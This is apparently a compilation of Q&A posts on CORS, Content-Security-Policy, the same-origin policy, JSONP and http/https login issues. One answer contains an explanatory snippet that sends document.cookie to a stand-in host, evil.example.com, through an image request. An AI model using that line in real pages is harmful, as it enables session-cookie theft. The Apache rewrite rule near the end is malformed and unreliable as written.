So I deployed all of my React apps that are using an API. I am having problems sending this api and something block them and so my apps aren't working.
Note: all of my requests are cors so there is no problem with them.
github block my request
and this is link to the project in picture news-blog
The problem is that you're trying to fetch non-secure (http) content from a secure (https) site, which violates the site's Content-Security-Policy (CSP). This is an insecure behavior as far as modern browsers are concerned.
From MDN:
The HTTP Content-Security-Policy response header allows web site administrators to control resources the user agent is allowed to load for a given page. With a few exceptions, policies mostly involve specifying server origins and script endpoints. This helps guard against cross-site scripting attacks (XSS).
The right way of solving this would be to load the data from a secure source. For example, instead of fetching from http://newsapi.org/v2/everything, try https://newsapi.org/v2/everything (note the difference between http and https).
Related
I spend some time to understand how Cross-Origin-Resource-Sharing works, and I cannot believe how this could be designed so insecure.
When a website hosted on foo.com wants to request a resource which is stored at bar.com via ajax, the browser asks bar.com if the request is allowed.
Only if bar.com explicitly allows asynchronous requests from foo.com (via the Access-Control-Allow-Origin response header), the resource is delivered to the client.
It´s not a security problem if data should be read. But if data is sent to the requested server, it is.
In the past, if a hacker successfully inserted JavaScript code in a website to steal cookie data or other informations, the Same-Origin-Policy
prevented that he could send the informations to his own server directly.
But thanks to CORS, a hacker can directly send the stolen information to his own server just by enabling any origin.
I know, CORS is still under development, but already supported by almost all major browsers. So, why is CORS designed like this? Wouldn´t it be much more secure, if the originating server is asked for permission to send ajax requests?
In my oppinion, this is a degradation of security. Or is it not?
All "known issues" I found related to CORS are about weak configuration on the requested server.
The same-origin policy is designed purely to prevent one origin from reading resources from another origin. The side effect you describe -- preventing one origin from sending data to another origin -- has never been part of the same-origin policy's purpose.
In fact, sending data to another origin has never been prohibited, ever, from the very beginnings of the Web. Your browser sends cross-origin requests all the time: any time it encounters a cross-origin <img>, <script>, <iframe>, etc. The same-origin policy simply restricts scripts' ability to read these resources; it has never restricted the browser's ability to fetch them and show them to the user.
Consider the following code:
var img = document.createElement("img");
img.src = "http://evil.example.com/steal?cookie=" + document.cookie;
This creates:
<img src="http://evil.example.com/steal?cookie=SESSION=dfgh6r...">
which will send cookie data to evil.example.com when it is added to the page's DOM. The same-origin policy has never, ever prevented this kind of behavior.
If you are interested in whitelisting origins that your page is allowed to send data to, you want a content security policy, which was designed explicitly as an XSS mitigation mechanism.
CORS wasn't designed for this security problem.
For this problem you mention, you need to prevent the site from executing arbitrary javascript. You want, more specifically, to prevent :
scripts loaded from a non white-listed origin
scripts directly in the page (as attribute or in a <script> element)
For that, we use the Content-Security-Policy header which can for example be set to "script-src 'self'" (meaning that only scripts loaded from an external file in the same origin can be executed).
Any website with not trivial generated content should have this header set but unfortunately this might be hard to handle in old frameworks as this adds very strong restrictions.
See http://en.wikipedia.org/wiki/Content_Security_Policy
I'm intending to add security for our Javascript code which gets embedded on other sites - eg: like analytics code.
The user copies 4-5 lines of the code and puts it on his site. The code actually downloads the real script as the next step.
I have been recommended to use CORS instead of the current JSONP calls as I can restrict the domains.
As I understand, the CORS would work only if the html page which will add my scripts needs to add access domains and if I add the access domains for the the js file, it wouldn't work.
Is the CORS for the final js or the html page intending to use my script?
Edit:
Since it's confusing to the users, I have made it more simple.
HTML in domain A adds my script from Domain B like Google analytics. Can I add access-domains: while rendering my JS or should the HTML add the access-domains in the response?
There is a good explanation from wiki for this question:
CORS can be used as a modern alternative to the JSONP pattern. While JSONP supports only the GET request method, CORS also supports other types of HTTP requests. Using CORS enables a web programmer to use regular XMLHttpRequest, which supports better error handling than JSONP. On the other hand, JSONP works on legacy browsers which predate CORS support. CORS is supported by most modern web browsers. Also, while JSONP can cause cross-site scripting (XSS) issues where the external site is compromised, CORS allows websites to manually parse responses to ensure security.
As I understand, the CORS would work only if the html page which will add my scripts needs to add access domains
You can access all domains via:
Access-Control-Allow-Origin: *
Also now CORS has good support.
P.S. IE8-9 has own imlementation by XDomainRequest.
CORS works by having your server output the Access-Control-Allow-Origin header containing the allowed domains. The sites that make ajax requests to your server don't need to do anything special to enable CORS, there is no configuration required. The sites just simply make normal XHR requests and the browser will internally handle the CORS.
You control the CORS access from the header on your server. In CORS, you can also control the HTTP verbs that are allowed, for example POST or GET (Access-Control-Allow-Methods) or the permitted request headers (Access-Control-Allow-Headers).
Note that IE8 doesn't support the CORS XHR, Microsoft decided to create their own CORS implementation with XDomainRequest. So if any of the sites that call your server want to support IE8, they will need to use XDomainRequest instead of XMLHttpRequest. There is no support for CORS in IE7 or eariler - not even XDomainRequest.
I am planning a Chrome App project where I will be performing numerous AJAX calls. Before settling on Chrome Apps as platform of choice, I would like to have a better understanding of its limitations and advantages regarding AJAX calls compared to web apps. Having conducted some research, I came up with the answers below. Since I have limited experience in this area, I would like to know if my findings are correct and if there are other limitations that should be considered.
1. Origin
Limitations regarding origins are more flexible for Chrome Apps than for web apps: The same-origin policy related to AJAX requests can be relaxed in the app’s manifest by requesting cross-origin permissions. Therefore, there is no need for techniques like Cross-Origin Resource Sharing (CORS) and JSONP (which is in fact prohibited by the Content Security Policy (CSP)).
2. Content
Limitations regarding accessible content are more severe: Chrome Apps can only refer to scripts, stylesheets, images, frames, plugins and fonts within the app, but media resources (video, audio, and associated text tracks) can be loaded from any external resource. The ‘connect-src’ directive is set to allow for loading any URI, so given cross-origin permissions or using CORS, one can make AJAX calls to all hosts and receive text and media type responses. Other content types can be served as blobs. The CSP can not be relaxed.
(A peculiarity I found: As stated, CSP forbids loading several content types, therefore one has to load them as blobs via AJAX requests. As a result of the same-origin policy, this would have to be done via CORS. Most servers don’t have CORS enabled, even if their content is public. Therefore, if Chrome Apps enforced ‘Access-Control-Allow-Origin’ (ACAO) response headers at all times, the CORS approach would fail in a lot of cases.
The solution to this problem is cross-origin permissions: If a permission was given to access a server, even if no appropriate ACAO header is received, the request is let through. But one can rely on CORS alone too: If no cross-origin permission is granted, but the request is made to a server with wildcard ACAO settings, it is also let through.)
Two additional things to note:
Some documentation of Chrome Apps refers to extensions instead of
apps. In these cases I assume that the information provided there is
correct for apps too.
Synchronous XHR requests are disabled.
Unfortunately, you'll just have to test this all out. I've found the Google docs (especially with Chrome apps) to be very lacking and frequently wrong. Going through the docs, it appears they wrote them for extensions, copied all the docs over and then when they encountered a difference, they changed the docs but did not cover everything.
As for accessing external sources, follow these "instructions":
http://developer.chrome.com/apps/app_external.html#external
And if you find an issue, report it BOTH here and https://code.google.com/p/chromium/issues/list
For our APP we have a Web App and a API service, On A certain event the Web app polls the api service for the state of the event using Javascript. Both the apps run on a separate HTTPS sub domain and with a self signed certificate(as it is still in alpha). The problem occurs that the polling is aborted because the https api connection is untrusted. Is it some way for the Javascript request to override the untrusted certificate issue?
Is it some way for the Javascript request to override the untrusted certificate issue?
No, it's because of the same origin policy restriction.
In your case I suppose that you have a page hosted on https://foo.bar.com and you are trying to send an AJAX request to https://baz.bar.com which is not allowed.
You may take a look at the following guide which covers the different possibilities to circumvent this restriction. They range from JSONP, server side script bridges, Flash proxies, screen scraping with YQL, ...
No, you have to add the self-signed certificate to your machine/browser's trusted certificate store.
You also have cross-domain origin issues (the different subdomain), which is separate from any certificate issues. If you're already using JSONP, you're fine; but if you're trying to make an XHR request to a different domain, it's not going to work.
I have already working modal login dialog. The problem is that if the origin page is loaded via http I still want to pass credentials to server via https. And of course I want to do with as little rewriting of working code as it can be.
I cannot use JSONP for my case because login data is passed to server via POST AJAX request.
Any ideas?
The Same Origin Policy makes this impossible (at least in browsers which don't support cross domain XHR, which is enough).
(And since the host document is served over HTTP it is subject to interception and alteration on the wire, which would make the data vulnerable even if it was transported over SSL)
Just out of curiosity, why don't you force the user to a secure page to begin with? Why had a similar issue a while back, so now, we force the user to https (via redirect) as soon as they hit our page.
Please note that according to Same-origin policy it should be not possible, as you're trying to post non-secured credentials to secured page. And if login landing page is not using SSL, then an attacker could modify the page as it is sent to the user and change the form submission location or insert JavaScript which steals the username/password as it is typed. So login landing page must use SSL.
To illustrate, the following table gives an overview of typical outcomes for checks against the URL "http://www.example.com/dir/page.html".
Compared URL Outcome Reason
http://www.example.com/dir/page2.html Success Same protocol and host
http://www.example.com/dir2/other.html Success Same protocol and host
http://u:pass#www.example.com/x/o.html Success Same protocol and host
http://www.example.com:81/dir/other.html Failure Same protocol and host but different port
https://www.example.com/dir/other.html Failure Different protocol
http://en.example.com/dir/other.html Failure Different host
http://example.com/dir/other.html Failure Different host (exact match required)
http://v2.www.example.com/dir/other.html Failure Different host (exact match required)
http://www.example.com:80/dir/other.html Depends Port explicit. Depends on implementation in browser.
Unlike other browsers, Internet Explorer does not include the port in the calculation of the origin, using the Security Zone in its place.
How to relax the same-origin policy
In some circumstances the same-origin policy is too restrictive, posing problems for large websites that use multiple subdomains. Here are four techniques for relaxing it:
document.domain property,
Cross-Origin Resource Sharing,
Cross-document messaging,
JSONP,
If you really what to do that, it is possible, but you need to make sure that your public key certificate of your website has been verified by certification authority therefore it is valid.
If it is not, you may try to add your certificate to the white list in your web browser. Or try with different web browsers.
Alternatevely you can make sure that users are always on a secure pages when being presented with the login form or disable modal form for login forms.
Other workaround include adding rewrite rule by forwarding the non-secured traffic into ssl, e.g.
# Various rewrite rules.
<IfModule mod_rewrite.c>
RewriteEngine on
# Force <front> to ssl for modal use of secure log in module.
RewriteRule http://www.example.net/^$ https://www.example.net [R=301,L]
See also:
Is posting from HTTP to HTTPS a bad practice?
Is it secure to submit from a HTTP form to HTTPS?
How to stop “secure and nonsecure items” warning on your site?
Getting Chrome to accept self-signed localhost certificate
Installing root certificate in Google Chrome